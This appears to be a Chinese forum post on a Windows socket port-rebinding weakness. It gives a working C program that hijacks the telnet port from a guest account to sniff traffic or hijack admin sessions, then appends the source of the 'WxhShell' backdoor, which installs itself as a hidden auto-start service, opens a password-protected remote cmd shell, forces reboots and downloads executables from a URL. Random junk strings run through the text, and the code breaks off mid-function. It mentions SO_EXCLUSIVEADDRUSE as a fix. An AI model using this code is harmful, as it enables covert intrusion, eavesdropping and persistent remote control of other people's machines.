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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .G"UM>.}d s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g. V6:>, ?T+Uu saddr.sin_family = AF_INET; OGgP~hd *XRAM. saddr.sin_addr.s_addr = htonl(INADDR_ANY); *82f{t] nwH'E bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N1dp%b9W( ich\`j[i 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h?f)Bt}ry H{Zfbb 这意味着什么?意味着可以进行如下的攻击: EAVB:gE +bi%4DA 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qPJU}(9#B m2!y;)F0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y#[PQT `^t0379e 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yqdhLX|Mk 7x
*] 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ; Drt4fOxX "xS?#^a 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [cSoo+Mlx -]1F]d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &yFt@g] :Oz! M&Ov 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `mU'{ -J?i6BHb #include l1X&Nw1W #include >L6V! #include p4k*vuu> #include Z-(V fp4 DWORD WINAPI ClientThread(LPVOID lpParam); vi+k#KE int main() vM5u]u! { %T3L-{s5 WORD wVersionRequested; =Z
^= DWORD ret; :G#>): WSADATA wsaData; KsZXdM/ BOOL val; cC'{+j8-a SOCKADDR_IN saddr; k(>hboR5n SOCKADDR_IN scaddr; :'-FaGy int err; *M*:3v
0 SOCKET s; ]d]tQPEU SOCKET sc; K*Tj; int caddsize; $xT'cl/IH HANDLE mt; I4%&/~! DWORD tid; 4u;db_gX wVersionRequested = MAKEWORD( 2, 2 ); _9!_fIY err = WSAStartup( wVersionRequested, &wsaData );
x%kS:! if ( err != 0 ) { T7eo_Mn printf("error!WSAStartup failed!\n"); rf.w}B;V; return -1; MqXN,n+`k } Jq1 Zb saddr.sin_family = AF_INET; Pyc/6~? ZRYs7 4< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _aOisN{ q7-Eu4w saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yw'b^D/ saddr.sin_port = htons(23); $_,?SXM if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OA#AiQUR { Fxwe, printf("error!socket failed!\n"); Jt6~L5[_s return -1; XjpFJ#T*$A } M%H<F3 val = TRUE; [G{{f //SO_REUSEADDR选项就是可以实现端口重绑定的 kb>:M. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U[9`:aV; { 9H5S@w[je printf("error!setsockopt failed!\n"); jdxwS return -1; 2[i:bksjW } k?|l;6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M/
@1;a@\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pQc5'*FKd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e=KA|"vxh <TmMUA)`} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :|J'HCth { e2|2$| ret=GetLastError(); \`?l6'! printf("error!bind failed!\n"); \gferWm return -1; ES72yh] } &d]%b`EXq listen(s,2); nunTTE,iq% while(1) gE^
{@^ { WXP=U^5Si caddsize = sizeof(scaddr); hR"j[ //接受连接请求 =}5;rK sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4[t1"s~Wg if(sc!=INVALID_SOCKET) -AcLh0pc { j!9p#JK#u mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); omQaN#!, if(mt==NULL) F)KUup)gc { C*kGB(H7 printf("Thread Creat Failed!\n"); *9((X,v@/ break; dXgj } f Co- ony } RYzDF+/ CloseHandle(mt); T-pes1Wu } JgXP2|Y ! closesocket(s); B:dk>$>uQ WSACleanup(); 1ipfv-hb6 return 0; ehQ"<.sQ } -miWXEe@l DWORD WINAPI ClientThread(LPVOID lpParam) Z+h^ ie"g { Gqvnc8V& SOCKET ss = (SOCKET)lpParam; [*ylC,w SOCKET sc; kBYZNjSz unsigned char buf[4096]; !$r4 lu SOCKADDR_IN saddr; F/z$jj) long num; |UvM[A|+ DWORD val; )3g7dtq} DWORD ret; qUX //如果是隐藏端口应用的话,可以在此处加一些判断 Eyu]0+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 a-\\A[E saddr.sin_family = AF_INET; z,/0e@B > saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >&V?1!N" saddr.sin_port = htons(23); '
O1X+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S'~Zlv3` { AA&398F printf("error!socket failed!\n"); d5$2*h{^v return -1; Erz{{kf]1V }
5zXw0_ val = 100; /MHqt=jP6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c]:sk[u { {H
OvJ`tM ret = GetLastError(); OM5"&ZIZb return -1; oK1"8k|Z } JF7n|o-`? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9An_zrJ%i { p] kpDx[9 ret = GetLastError(); IgH[xwzy[ return -1; g`~c|bx } g;)xf?A9q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ct='Z E { (,$ H!qKy printf("error!socket connect failed!\n"); ^/`:o}7K7 closesocket(sc); Qd"{2> closesocket(ss); [oN}zZP] return -1; K%9PIqK?4 } Sqj'2<~W while(1) ZM"J5}h { o_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J0xOB;rd //如果是嗅探内容的话,可以再此处进行内容分析和记录 cF{5[?wS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a x1 num = recv(ss,buf,4096,0); .QX|:]|n if(num>0) 6b+\2-eq send(sc,buf,num,0); V#jFjObTN else if(num==0) lV!ecJw$ break; v{4K$o num = recv(sc,buf,4096,0); "'p;Udt/Qm if(num>0) :@KU_U)\ send(ss,buf,num,0); R?3^Kx else if(num==0) Th,15H
DA break; sl^i%xJ|l' } ^6;n@ closesocket(ss); \IY)2C<e closesocket(sc); ]$/TsN return 0 ; +jD?h-] } S)Cd1`Gf g+BW~e) i/QE)"B"q ========================================================== Z#.J>_u
) _ +Ww1f 下边附上一个代码,,WXhSHELL >-rDBk
;K ? _36uJo} ========================================================== lot7S XvK {M:Fsay>p #include "stdafx.h" |T7 < ! p]=a:kd4J #include <stdio.h> td-2[Sy #include <string.h> \/,54c2 #include <windows.h> vgRjd1k.\y #include <winsock2.h> kQ4-W9u #include <winsvc.h> HN,E+dQ #include <urlmon.h> 88~BE ^ L?!*HS7m #pragma comment (lib, "Ws2_32.lib") JSX-iHhW #pragma comment (lib, "urlmon.lib") wN/d
J u
'-4hU #define MAX_USER 100 // 最大客户端连接数 u'cM}y& #define BUF_SOCK 200 // sock buffer ^n#6CW*n #define KEY_BUFF 255 // 输入 buffer ]S+NH[g+ I3uS?c #define REBOOT 0 // 重启 |&Gm.[IX;q #define SHUTDOWN 1 // 关机 l6ayV oiYI$ql3L #define DEF_PORT 5000 // 监听端口 M\zM-B v^2q\A-? #define REG_LEN 16 // 注册表键长度 27q9zi!Q #define SVC_LEN 80 // NT服务名长度 $%!'c#
F 6J[ {?, // 从dll定义API e"HA.t[A
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ; V)pXLE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :'RmT3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {HPKp&kl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @ht= (Jk9 Gs]m; "o|
// wxhshell配置信息 |fX
@o0H struct WSCFG { C5mq@$6 int ws_port; // 监听端口 0Q>f,}W%> char ws_passstr[REG_LEN]; // 口令 WVDkCo@ int ws_autoins; // 安装标记, 1=yes 0=no csP 5R3 char ws_regname[REG_LEN]; // 注册表键名 b*w izd char ws_svcname[REG_LEN]; // 服务名 X5i?Bb. char ws_svcdisp[SVC_LEN]; // 服务显示名 nxH+XHv char ws_svcdesc[SVC_LEN]; // 服务描述信息 kj_o I5<' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4DaLt&1 int ws_downexe; // 下载执行标记, 1=yes 0=no #&zNYzI char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" \IB@*_G char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2LS03 27 nojJGeW% }; J8Bz|.@Q \q9wo*A // default Wxhshell configuration R7%'
vZk struct WSCFG wscfg={DEF_PORT, i?"
~g!A "xuhuanlingzhe", "%$jl0i_c 1, ()K,~ "Wxhshell", It$'6HV~Sb "Wxhshell", 1&%6sZN "WxhShell Service", K,f*}1$qM "Wrsky Windows CmdShell Service", aH7i$U& "Please Input Your Password: ", c^ $_epc* 1, dqd:V$o " http://www.wrsky.com/wxhshell.exe", QN`K|,}H^ "Wxhshell.exe" v%gkQa }; WE;QEA / *d%"/l^0 // 消息定义模块 J^t-p U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >fG=(1" char *msg_ws_prompt="\n\r? for help\n\r#>"; f|U;4{k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; (`C#Tq char *msg_ws_ext="\n\rExit."; _}8hEv char *msg_ws_end="\n\rQuit."; OU2.d7 char *msg_ws_boot="\n\rReboot..."; hp ?4w) , char *msg_ws_poff="\n\rShutdown..."; z4GcS/3K char *msg_ws_down="\n\rSave to "; e5\/:HpI P`ZzrN char *msg_ws_err="\n\rErr!"; bs_>!H1 char *msg_ws_ok="\n\rOK!"; 7 YS 'Tf / =]h@m-` char ExeFile[MAX_PATH]; 6T*MKu int nUser = 0; l|WdJn
o
HANDLE handles[MAX_USER]; QH z3 int OsIsNt; |"}F cS
y pxf(C<y6_ SERVICE_STATUS serviceStatus; DxuT23.
( SERVICE_STATUS_HANDLE hServiceStatusHandle; }STTDq4
=K#5I<x // 函数声明 2HA-q),6 int Install(void); =rL%P~0wq int Uninstall(void); q<Tx'Y a int DownloadFile(char *sURL, SOCKET wsh); EJAk'L+nuH int Boot(int flag); NUSb7<s,&Y void HideProc(void); ,|5|aVfh int GetOsVer(void); QMO.Bnek int Wxhshell(SOCKET wsl); ~PaEhj&8 void TalkWithClient(void *cs); 244[a]
%&; int CmdShell(SOCKET sock); n 0/<m. int StartFromService(void); aM U0BS" int StartWxhshell(LPSTR lpCmdLine); exW|c~|m{A ~&}e8ah2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kZb #k# VOID WINAPI NTServiceHandler( DWORD fdwControl ); c{"=p8F_ CjRU3
(Q // 数据结构和表定义 y$Nqw9 SERVICE_TABLE_ENTRY DispatchTable[] = (5rfeSA^ { r`dQ<U, {wscfg.ws_svcname, NTServiceMain}, l&
A8P {NULL, NULL} X}V}% }; }}?,({T|n G'#f*) f // 自我安装 `[)!4Jb int Install(void) ax)>rP,V { 9Sey&x char svExeFile[MAX_PATH];
R$|"eb5 HKEY key; }xa~U,#5 strcpy(svExeFile,ExeFile); !B*l'OJw Y5fz_ [(" // 如果是win9x系统,修改注册表设为自启动 Xp67l!{v if(!OsIsNt) { mb\"qD5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;_~9".'<d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y2`}, RegCloseKey(key); W9D~:>^YP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .ZtW
y) U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %&iodo,EP' RegCloseKey(key); F
tS"vJ\ return 0; 4'~zuUs } ` n#Db } xqQLri} } [4 v1
N else { 0$g;O5y"i cjp~I/U // 如果是NT以上系统,安装为系统服务 \1ncr4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 91#rP|88; if (schSCManager!=0) }vXiq T { Y"U t SC_HANDLE schService = CreateService Y*QoD9<T?; ( hLICu[LC? schSCManager, po!bRk[4 wscfg.ws_svcname, JHXtKgFX wscfg.ws_svcdisp, k>)Uyw$! SERVICE_ALL_ACCESS, 5W!#,jz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5AbY 59 SERVICE_AUTO_START, tMiy`CPh SERVICE_ERROR_NORMAL, X> T_Xc svExeFile,
m:D0O]2 NULL, tbXl5x0 NULL, 9RPZj>ezjA NULL, -A,UqEt NULL, C
%i{{Y&l NULL 5AK@e|G$w ); ,m Nd# if (schService!=0) r"9hpZH { 0j :u.x CloseServiceHandle(schService); VkkC;/BBW CloseServiceHandle(schSCManager); vW-o%u* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l@0${&n strcat(svExeFile,wscfg.ws_svcname); '2Lx>nByk if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fuU
3?SG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D<gd) RegCloseKey(key); Y?6}r;< return 0; P=aYwm C } xpJ=yxO } 9tWpxrig% CloseServiceHandle(schSCManager); e>m+@4*sn } TkR#Kzv380 } OFxCV`>ce P(.XB` return 1; S.Q:O{] } *nK4XgD [Z2{S-)UM // 自我卸载 rJ{k1H > int Uninstall(void) )3WUyD*UZN { u+O"c HKEY key; "A*;V M.\XG}RR if(!OsIsNt) { EbeSl+iMx_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >`l^
C RegDeleteValue(key,wscfg.ws_regname); Z*b$&nM RegCloseKey(key); J|F!$m{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8!b>[Nsc RegDeleteValue(key,wscfg.ws_regname); P!SsMo6n RegCloseKey(key); IML.6<,(Z return 0; 3 Q~0b+k } ($Op*bR } P:WxhO/ } 9C8 G(r else { _kc}: bXeJk]#y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )5`~WzA if (schSCManager!=0) lvRTy|%[ { njaKU?6%d2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VN0KK
1I if (schService!=0) [%P[ x]- { ?-~<Vc* if(DeleteService(schService)!=0) { "sIww CloseServiceHandle(schService); =4sx(< CloseServiceHandle(schSCManager); LqXVi80 return 0; +tlBOl$ } iJeodfC CloseServiceHandle(schService); })`z6d]3 } /bn$@Cy@ CloseServiceHandle(schSCManager); g<ov` bF } DZ1.Bm0 } H )>3c1 E#3tkFF0Z[ return 1; "%bU74> } @LFB}B bPif"dhHe // 从指定url下载文件 .'. bokl/ int DownloadFile(char *sURL, SOCKET wsh) ]rSg,Q>E { ^QjkZ^<dD HRESULT hr; 8_ascvs5 char seps[]= "/"; mfF `K2R char *token; ^O=G%de char *file; *FC|v0D char myURL[MAX_PATH]; s(ap~UCOw char myFILE[MAX_PATH]; $BT[fJ'k Jamt@= strcpy(myURL,sURL); i`Qa7 token=strtok(myURL,seps); 'r(g5H1}gi while(token!=NULL) Pd& Npp3 { +sTPTCLE file=token; hrO9_B|# token=strtok(NULL,seps); I;1)a4Xc4R } ]d~{8h!G 2s>BNWTU GetCurrentDirectory(MAX_PATH,myFILE); l@1=./L? strcat(myFILE, "\\"); kma>'P`G strcat(myFILE, file); f& \Bs8la send(wsh,myFILE,strlen(myFILE),0); *0?@/2& send(wsh,"...",3,0); y Tn<5T[H hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FC~%G&K/q^ if(hr==S_OK) \{!,a return 0; 7
, _b else !! )W` return 1; 'x<oILOG -rjQ^ze } 9[W >`JKo Gg]Jp:GF // 系统电源模块 [Y?Y@x"MZ int Boot(int flag) pq\N2d { e*}GQ HANDLE hToken; U* c'xoP TOKEN_PRIVILEGES tkp; %3|/t-US CEBG9[| if(OsIsNt) { {IvA 5^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c53:E'g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x,cvAbwS tkp.PrivilegeCount = 1; v`jHd*&6) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3:8p="$F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lhnGk'@d if(flag==REBOOT) { 'ey62-^r6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I} 5e{jBB return 0; h^qZi@L } H~mp*S else { -meY[!"X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LH=^3Gw return 0; WHOX<YJs } dLF*'JjY } =au!rda else { z*q+5p@~ if(flag==REBOOT) { l?rLadvc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) osdoL return 0; \=[j9'N> } q86}'dFw{ else { vfvp# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \%bJXTK&W return 0; MP<]-M'|< } ^k$Bx_{ } #"?pY5 (" ~k?wnw return 1; 9wGsHf8] } |HYST` ?6nB=B)/ // win9x进程隐藏模块 QG~6mvD void HideProc(void) -K(d]-yv { +F8K%.Q_ /\uopa HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }Y BuS3{ if ( hKernel != NULL ) 5/i/.
0?n { XksI .]tfj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .-mIU.Nwi ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +>;Ux1'@ FreeLibrary(hKernel); Q_!tn* } <uJ
{>~ 2p#d return; 5@
td0 } `w`N5 ! 8!3 q:8y8 // 获取操作系统版本 k\;D;e{ int GetOsVer(void) xgj'um { UBM#~~sM OSVERSIONINFO winfo; 5mpql[v3P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y7CO%SA GetVersionEx(&winfo); [g<gu~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p{W
Amly return 1; ;S$ else =T26vu return 0; rr\9HA } 5pDE!6gQ YQFz6#Ew // 客户端句柄模块 NIQ}+xpC int Wxhshell(SOCKET wsl) F%&lM[N% { ":qHDL3 SOCKET wsh; C;/ONF
struct sockaddr_in client; E3[9!L8gb DWORD myID; DbB<8$ ~MC5rOA while(nUser<MAX_USER) 9I
[:#,zdf { cZF|oZ6< int nSize=sizeof(client); zjcSn7iu wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J%xUO1 if(wsh==INVALID_SOCKET) return 1; 0F![<5X SSla^,MHef handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~xc/Dsb$ if(handles[nUser]==0) C@t,oDU# closesocket(wsh); oq,nfUA else <oT1&C{ nUser++; L>E;cDB } K;rgLj0m WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oMLs22Do? GYb&'#F~t return 0; \ >wQyz } _=`DzudE Uf7ACv)Dn // 关闭 socket J!6w9,T_ void CloseIt(SOCKET wsh) 'm|T"Ym~ { RFFbS{U* closesocket(wsh); jVOq/o nUser--; X 5}=|%Y ExitThread(0); a JjUy% } {g`!2" -:'%YHxX // 客户端请求句柄 H<q|je}e void TalkWithClient(void *cs) \<xo`2b { V9Mr&8{S4 tq~f9EvC SOCKET wsh=(SOCKET)cs; 2-ksr}: char pwd[SVC_LEN]; "[fPzIP9 char cmd[KEY_BUFF]; LE5N2k char chr[1]; sUmpf 4/ int i,j; Ah@e9`_r !ii(2U while (nUser < MAX_USER) { TNN@G~@cm |&-*&)iD|w if(wscfg.ws_passstr) { eNi#% ?=WB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e:4,rfF1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ei+lVLoC //ZeroMemory(pwd,KEY_BUFF); +/[Rvh5WZ i=0; NJd4( P while(i<SVC_LEN) { ;w]1H&mc*A nm%qm // 设置超时 Bfdfw+ fd_set FdRead; G.@K#a9 struct timeval TimeOut; +lFBH(o]X FD_ZERO(&FdRead); Gl3g.`X{$@ FD_SET(wsh,&FdRead); !blGc$kC TimeOut.tv_sec=8; ^qBm%R( TimeOut.tv_usec=0; NM),2% < int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s[UV(::E if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N.]~%)K:{ g[@0H= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x30|0EHYl[ pwd =chr[0]; 8dt=@pwx& if(chr[0]==0xd || chr[0]==0xa) { 3d1xL+ pwd=0; %G6x \[, break; 'Pn:10; } n!X%i+|4x i++; E#tfCM6 } $I#~<bW, A(BjU:D(Oj // 如果是非法用户,关闭 socket S{]3e-? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2Q%M2Ua }
O5+Ah% |d6/gSiF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :nqDX send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %a0q|)Nrj u|"YS-dH while(1) { o@j!J I& 'zMmJl}\vd ZeroMemory(cmd,KEY_BUFF); eW3?3l`fvt CV{ZoY // 自动支持客户端 telnet标准 4z~;4 j=0; uP8 cW([ while(j<KEY_BUFF) { 6fBA#Kb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &A/b9GW^- cmd[j]=chr[0]; g3%x"SlIU if(chr[0]==0xa || chr[0]==0xd) { D( TfW cmd[j]=0; 5OOXCtIKf break; _:Y|a> } ,1<6=vL j++; I7|a,Q^f } M
0G`P1o v!<FeLW // 下载文件 @ZV>Cl@%2 if(strstr(cmd,"http://")) { xZV|QVY; send(wsh,msg_ws_down,strlen(msg_ws_down),0); h.- o$+Sa if(DownloadFile(cmd,wsh)) K@osD7- send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7+[L6q/K else 7VkjnG^!: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Ot&]M } ci 22fw0 else { Y1qbu~! L/bvM?B^ switch(cmd[0]) { 56NDU>j$ 0BjP|API // 帮助 -I#<?=0B case '?': { B4m34)EOE send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >k/
rJ[Sc break; dOgc%(kz } Tn>L? // 安装 P{2ED1T\ case 'i': { 'Q*lp!2> if(Install()) = P$7
" send(wsh,msg_ws_err,strlen(msg_ws_err),0); iZ ;562Mo else LR"7e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uBM%E OE break; f=4q]y#& X } sN1I+X // 卸载 0? KvR``Aj case 'r': { *tDxwD7 if(Uninstall()) /KO2y0` send(wsh,msg_ws_err,strlen(msg_ws_err),0); YB]^Y^" e else v?DA> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 10_@'N break; 3|/zlKZz } eE0nW+i // 显示 wxhshell 所在路径 = o1&.v2j case 'p': { jH 9.N4L char svExeFile[MAX_PATH]; ;,B $lgF strcpy(svExeFile,"\n\r"); 3.?oG5P# strcat(svExeFile,ExeFile); >-CNHb send(wsh,svExeFile,strlen(svExeFile),0); ~c>]kL(, break; FJsg3D*@J } {8~xFYc: // 重启 ;@[ax{ J case 'b': { nh"LdHqiDB send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wF['oUwHH if(Boot(REBOOT)) Qu|<1CrZj] send(wsh,msg_ws_err,strlen(msg_ws_err),0); z'Fu} ho else { gBXbB9 closesocket(wsh); M >s,I^ ExitThread(0); jsw0"d( } 6
&MATMR break; &[-b#&y } L' x[wM0w; // 关机 R"JT+m case 'd': { _^] :tL6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]y/!GFQ if(Boot(SHUTDOWN)) qMcOSZ%8J send(wsh,msg_ws_err,strlen(msg_ws_err),0); /p[lO g else { e?XQ, closesocket(wsh); R94ID@LF ExitThread(0); $4rMYEn08 } o~p%ODH break; Q-$EBNz } ZG-[Gz // 获取shell vA@\V)s
case 's': { 0tah$;c
e CmdShell(wsh); |(UkI?V closesocket(wsh); fBt`D
!Z8 ExitThread(0); VaFv%%w break; xw83dQ]}^ } Kd^,NAg // 退出 )?,X\/5 case 'x': { aECQ(]q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;{Su:Ixg CloseIt(wsh); CB%O8d # break; xrCb29{ } H7R6Ljd?&S // 离开 Uz;
pNWMk case 'q': { .VfBwTh7q8 send(wsh,msg_ws_end,strlen(msg_ws_end),0); R"k}wRnxY closesocket(wsh); Q.])En >i WSACleanup(); a?X{k|;!7u exit(1); |a[Id break; $56Z/* } zD}2Zh] } H+2m } y6 _,U/9 *u`[2xmuYf // 提示信息 ^bDh[O if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9)]asY } p:8&&v~I } x9B{|+tIoc B&k"B?9mL return;
2<' 1m{ } c2fbqM~ y72=d?]W // shell模块句柄 '-5Q>d~&h int CmdShell(SOCKET sock) ZpTT9{PT=: { g4
G?hv`R STARTUPINFO si; W|aFEY ZeroMemory(&si,sizeof(si)); Xeo2 < @[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6YeEr!zt% si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EvEI5/z PROCESS_INFORMATION ProcessInfo; [#Y7iN& char cmdline[]="cmd"; y&$v@]t1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,Rh6(I return 0; uzpW0(_i3a } JVgV,4 1 iO_6>&( // 自身启动模式 +:&,Ts/ int StartFromService(void) .W)%*~ O!; { wN4N2 typedef struct bF
X0UE> { 20XN5dTFT DWORD ExitStatus; Pa-p9]gq DWORD PebBaseAddress; vw/L|b7G DWORD AffinityMask; {x#I&ra DWORD BasePriority; jRCG}' ULONG UniqueProcessId; L]C|&KP ULONG InheritedFromUniqueProcessId; c0%.GcF0{ } PROCESS_BASIC_INFORMATION; qz
.{[l k;bdzcMkQ PROCNTQSIP NtQueryInformationProcess; +jPs0?}s Iyf hVk? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U:n3V static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !^:)zORYR e0ea2
2
